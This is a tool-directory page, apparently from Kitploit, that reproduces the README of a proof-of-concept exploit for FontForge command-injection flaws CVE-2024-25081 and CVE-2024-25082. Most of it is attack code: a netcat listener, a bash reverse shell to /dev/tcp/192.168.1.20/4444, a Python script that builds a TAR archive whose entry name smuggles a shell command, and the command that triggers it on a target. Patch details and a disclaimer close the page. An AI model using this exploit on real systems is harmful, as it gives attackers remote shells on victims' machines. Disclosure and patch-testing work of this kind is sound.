Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-25082_CVE-2024-25081 — FontForge Splinefont Crafted Filename Command Injection Vulnerability | Kitploit
Tools/GitHubGitHub/alielkhatteb/cve-2024-25082_cve-2024-25081
Payload GenerationVulnerability AnalysisExploitationPenetration TestingCommand and ControlLearning & Education
GitHubalielkhatteb/cve-2024-25082_cve-2024-25081

CVE-2024-25082_CVE-2024-25081

FontForge Splinefont Crafted Filename Command Injection Vulnerability

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
115 months agoNot yet reviewed
Share

⚠️ FontForge RCE — CVE-2024-25081 & CVE-2024-25082 - PoC

📖 Overview

Proof-of-concept exploit for two command injection vulnerabilities in FontForge ≤ 20230101 (Splinefont component).

CVEVectorTrigger
CVE-2024-25081Crafted filenameDirect file open
CVE-2024-25082Crafted archive filenameTAR/ZIP/GZ/BZ2 extraction

This PoC targets CVE-2024-25082 — FontForge's automatic archive extraction passes filenames to a shell without sanitization, allowing a semicolon-delimited payload embedded in a TAR entry name to execute arbitrary commands.


How It Works

FontForge supports opening font files directly from archives. When extracting a TAR archive, the Splinefont component constructs a shell command using the filename from the archive entry. Because the filename is not sanitized, a semicolon (;) in the entry name breaks out of the expected command and injects arbitrary shell instructions.

Malicious TAR entry name:

root@kitploit:~
exploit.ttf;bash /tmp/s.sh;

When FontForge processes this archive, the shell interprets this as:

root@kitploit:~
<extract command> exploit.ttf ; bash /tmp/s.sh ; 

Environment

  • Vulnerable software: FontForge ≤ 20230101
  • Platform: Linux
  • Attacker listener: 192.168.1.20:4444 (adjust as needed)

📋 Prerequisites

  • Python 3 (standard library only, tarfile module)
  • netcat on attacker machine
  • FontForge ≤ 20230101 on target machine

🛠️ Proof of Concept

1. Start a netcat listener on your attacker machine

root@kitploit:~
nc -lvnp 4444

2. Generate the malicious TAR archive

root@kitploit:~
# Write the reverse shell payload
echo 'bash -i >& /dev/tcp/192.168.1.20/4444 0>&1' > /tmp/s.sh
chmod +x /tmp/s.sh

# Build the malicious archive
python3 << 'EOF'
import tarfile, io

malicious_name = "exploit.ttf;bash /tmp/s.sh;"
tar = tarfile.open("exploit.tar", "w")
info = tarfile.TarInfo(name=malicious_name)
info.size = 4
tar.addfile(info, io.BytesIO(b"AAAA"))
tar.close()
print("done")
EOF

3. Open the archive in FontForge on the target

root@kitploit:~
fontforge exploit.tar

A reverse shell will connect back to your listener.


🔒 Patch

Fixed in FontForge post-20230101 via PR #5367. Upgrade to the latest release.

  • Debian/Ubuntu: sudo apt upgrade fontforge
  • Manual build: pull latest from fontforge/fontforge

🔍 Reference

  • NVD — CVE-2024-25081
  • NVD — CVE-2024-25082
  • FontForge fix PR #5367

⚖️ Disclaimer and Terms

This Proof of Concept (PoC) code is provided for educational and authorized penetration testing purposes only.

  • No permission is granted to modify, redistribute, or use this code for any other purposes.
  • Unauthorized use or modification may be illegal and unethical.
  • The authors take no responsibility for any misuse or damages.
Download Tool